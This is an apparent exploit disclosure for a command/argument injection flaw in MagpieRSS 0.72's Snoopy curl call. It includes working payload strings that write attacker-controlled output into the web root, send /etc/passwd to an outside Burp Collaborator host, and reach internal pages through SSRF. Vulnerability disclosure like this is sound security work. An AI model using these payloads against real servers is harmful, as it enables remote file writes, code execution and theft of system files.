# Date: 24 March 2021
# Exploit Author: bl4ckh4ck5
# Vendor Homepage: http://magpierss.sourceforge.net/
# Software Link: https://sourceforge.net/projects/magpierss/files/magpierss/magpierss-0.72/magpierss-0.72.tar.gz/download
# Version: MagpieRSS 0.72 and maybe older once aswell.
# Tested on: Linux debian buster with default apache install.
In MagpieRSS 0.72 on the /scripts/magpie_debug.php?url=testtest
and /scripts/magpie_simple.php page i noticed there was a command
injection in the RSS URL field when you send a https url and click
the Parse RSS button.
if you would send "https://www.example.com? -o
/var/www/html/testtest.php" as input it would save the url output
to the testtest.php file directly in the /var/www/html/ folder.
the "?" is importent or it won't work.
it is also possible to read any file if you send it like this
"https://zcf0arfay3qgko9i7xr0b2vnxe39ry.burpcollaborator.net?
--data '@/etc/passwd'" then the page
"zcf0arfay3qgko9i7xr0b2vnxe39ry.burpcollaborator.net" would receive
as POST data the /etc/passwd file.
Outside of that because it uses the curl request directly from the prompt it is not restricted and it is possible to request internal pages like 127.0.0.1 however it is restricted to https requests only, but you can partionaly work arround that by sending the url like this "https://www.example.com? http://localhost/server-status/" then it also can send it to a http domain however then it is blind ssrf but on https domains you can make it vissable by first saving it to a file and if you can't write in the /var/www/html folder you sometimes can write it to the /tmp/testtest.txt and use "https://www.example.com? --data '@/tmp/testtest.txt'" to retrieve that file.
The problem occures in the file /extlib/Snoopy.class.inc on line
660:
https://github.com/kellan/magpierss/blob/04d2a88b97fdba5813d01dc0d56c772d97360bb5/extlib/Snoopy.class.inc#L660
On that page there they use a escapeshellcmd command to escape the
https url however they didn't put it between quotes.
so it's possible to add a "-" to this and rewrite the curl command
on the /scripts/magpie_debug.php and /scripts/magpie_simple.php
page.
from there on you can esculate it to Server side request forgery or
Code injection.
It mostlickly affects most versions but i have only tested it on version 0.72.
